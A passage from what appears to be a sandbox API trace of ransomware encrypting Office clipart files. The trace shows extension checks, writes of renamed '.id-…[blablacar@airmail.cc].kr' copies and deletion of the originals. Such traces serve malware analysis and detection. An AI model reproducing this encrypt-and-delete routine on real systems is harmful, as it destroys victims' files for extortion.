office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0177.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.608] lstrlenW (lpString=".doc") returned 4 [0177.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.608] lstrlenW (lpString=".docx") returned 5 [0177.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.608] lstrlenW (lpString=".pdf") returned 4 [0177.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.608] lstrlenW (lpString=".xls") returned 4 [0177.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.609] lstrlenW (lpString=".xlsx") returned 5 [0177.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.609] lstrlenW (lpString=".ppt") returned 4 [0177.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.609] lstrlenW (lpString=".zip") returned 4 [0177.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.609] lstrlenW (lpString=".rar") returned 4 [0177.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.609] lstrlenW (lpString=".bz2") returned 4 [0177.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.609] lstrlenW (lpString=".7z") returned 3 [0177.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.609] lstrlenW (lpString=".dbf") returned 4 [0177.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.609] lstrlenW (lpString=".1cd") returned 4 [0177.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.609] lstrlenW (lpString=".jpg") returned 4 [0177.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.609] lstrlenW (lpString=".doc") returned 4 [0177.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.609] lstrlenW (lpString=".docx") returned 5 [0177.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.609] lstrlenW (lpString=".pdf") returned 4 [0177.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.610] lstrlenW (lpString=".xls") returned 4 [0177.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.610] lstrlenW (lpString=".xlsx") returned 5 [0177.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.610] lstrlenW (lpString=".ppt") returned 4 [0177.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.610] lstrlenW (lpString=".zip") returned 4 [0177.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.610] lstrlenW (lpString=".rar") returned 4 [0177.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.610] lstrlenW (lpString=".bz2") returned 4 [0177.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.610] lstrlenW (lpString=".7z") returned 3 [0177.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.610] lstrlenW (lpString=".dbf") returned 4 [0177.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.610] lstrlenW (lpString=".1cd") returned 4 [0177.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0177.610] lstrlenW (lpString=".jpg") returned 4 [0177.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.610] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0177.610] lstrlenW (lpString="BD07804_.WMF") returned 12 [0177.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.611] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4924) returned 1 [0177.611] CloseHandle (hObject=0x3f4) returned 1 [0177.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0177.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.612] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.612] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0177.612] GetLastError () returned 0x0 [0177.612] ReadFile (in: hFile=0x3f4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x133c, lpOverlapped=0x0) returned 1 [0177.614] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1340, lpOverlapped=0x0) returned 1 [0177.615] ReadFile (in: hFile=0x3f4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.615] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0177.615] SetEndOfFile (hFile=0x3f8) returned 1 [0177.615] CloseHandle (hObject=0x3f8) returned 1 [0177.616] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.616] SetEndOfFile (hFile=0x3f4) returned 1 [0177.619] CloseHandle (hObject=0x3f4) returned 1 [0177.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0177.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0177.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.620] lstrlenW (lpString=".doc") returned 4 [0177.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.620] lstrlenW (lpString=".docx") returned 5 [0177.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.620] lstrlenW (lpString=".pdf") returned 4 [0177.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.620] lstrlenW (lpString=".xls") returned 4 [0177.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.620] lstrlenW (lpString=".xlsx") returned 5 [0177.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.620] lstrlenW (lpString=".ppt") returned 4 [0177.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.620] lstrlenW (lpString=".zip") returned 4 [0177.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.620] lstrlenW (lpString=".rar") returned 4 [0177.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.620] lstrlenW (lpString=".bz2") returned 4 [0177.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.620] lstrlenW (lpString=".7z") returned 3 [0177.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.621] lstrlenW (lpString=".dbf") returned 4 [0177.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.621] lstrlenW (lpString=".1cd") returned 4 [0177.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.621] lstrlenW (lpString=".jpg") returned 4 [0177.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.621] lstrlenW (lpString=".doc") returned 4 [0177.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString=".docx") returned 5 [0177.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.621] lstrlenW (lpString=".pdf") returned 4 [0177.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString=".xls") returned 4 [0177.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.621] lstrlenW (lpString=".xlsx") returned 5 [0177.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.621] lstrlenW (lpString=".ppt") returned 4 [0177.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.621] lstrlenW (lpString=".zip") returned 4 [0177.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.621] lstrlenW (lpString=".rar") returned 4 [0177.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString=".bz2") returned 4 [0177.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.621] lstrlenW (lpString=".7z") returned 3 [0177.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.621] lstrlenW (lpString=".dbf") returned 4 [0177.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.622] lstrlenW (lpString=".1cd") returned 4 [0177.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0177.622] lstrlenW (lpString=".jpg") returned 4 [0177.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.622] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0177.622] lstrlenW (lpString="BD07831_.WMF") returned 12 [0177.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.172] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4066) returned 1 [0178.176] CloseHandle (hObject=0x3cc) returned 1 [0178.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0178.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.204] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.204] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0178.204] GetLastError () returned 0x0 [0178.204] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xfe2, lpOverlapped=0x0) returned 1 [0178.208] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xff0, lpOverlapped=0x0) returned 1 [0178.209] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.210] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0178.210] SetEndOfFile (hFile=0x3e8) returned 1 [0178.210] CloseHandle (hObject=0x3e8) returned 1 [0178.211] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.211] SetEndOfFile (hFile=0x3cc) returned 1 [0178.222] CloseHandle (hObject=0x3cc) returned 1 [0178.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0178.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.223] lstrlenW (lpString=".doc") returned 4 [0178.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.223] lstrlenW (lpString=".docx") returned 5 [0178.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.223] lstrlenW (lpString=".pdf") returned 4 [0178.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.223] lstrlenW (lpString=".xls") returned 4 [0178.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.223] lstrlenW (lpString=".xlsx") returned 5 [0178.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.223] lstrlenW (lpString=".ppt") returned 4 [0178.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.223] lstrlenW (lpString=".zip") returned 4 [0178.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.223] lstrlenW (lpString=".rar") returned 4 [0178.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.223] lstrlenW (lpString=".bz2") returned 4 [0178.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.223] lstrlenW (lpString=".7z") returned 3 [0178.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.223] lstrlenW (lpString=".dbf") returned 4 [0178.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.224] lstrlenW (lpString=".1cd") returned 4 [0178.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.224] lstrlenW (lpString=".jpg") returned 4 [0178.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.224] lstrlenW (lpString=".doc") returned 4 [0178.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString=".docx") returned 5 [0178.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.224] lstrlenW (lpString=".pdf") returned 4 [0178.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString=".xls") returned 4 [0178.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.224] lstrlenW (lpString=".xlsx") returned 5 [0178.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.224] lstrlenW (lpString=".ppt") returned 4 [0178.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.224] lstrlenW (lpString=".zip") returned 4 [0178.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.224] lstrlenW (lpString=".rar") returned 4 [0178.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString=".bz2") returned 4 [0178.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString=".7z") returned 3 [0178.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.224] lstrlenW (lpString=".dbf") returned 4 [0178.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.224] lstrlenW (lpString=".1cd") returned 4 [0178.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0178.225] lstrlenW (lpString=".jpg") returned 4 [0178.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.225] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0178.225] lstrlenW (lpString="BD09031_.WMF") returned 12 [0178.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.226] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=47786) returned 1 [0178.226] CloseHandle (hObject=0x3cc) returned 1 [0178.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0178.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0178.226] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.226] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0178.227] GetLastError () returned 0x0 [0178.227] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0178.230] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xbab0, lpOverlapped=0x0) returned 1 [0178.566] ReadFile (in: hFile=0x3cc, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.566] WriteFile (in: hFile=0x3e8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0178.566] SetEndOfFile (hFile=0x3e8) returned 1 [0178.566] CloseHandle (hObject=0x3e8) returned 1 [0178.568] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.568] SetEndOfFile (hFile=0x3cc) returned 1 [0178.571] CloseHandle (hObject=0x3cc) returned 1 [0178.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0178.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0178.572] lstrlenW 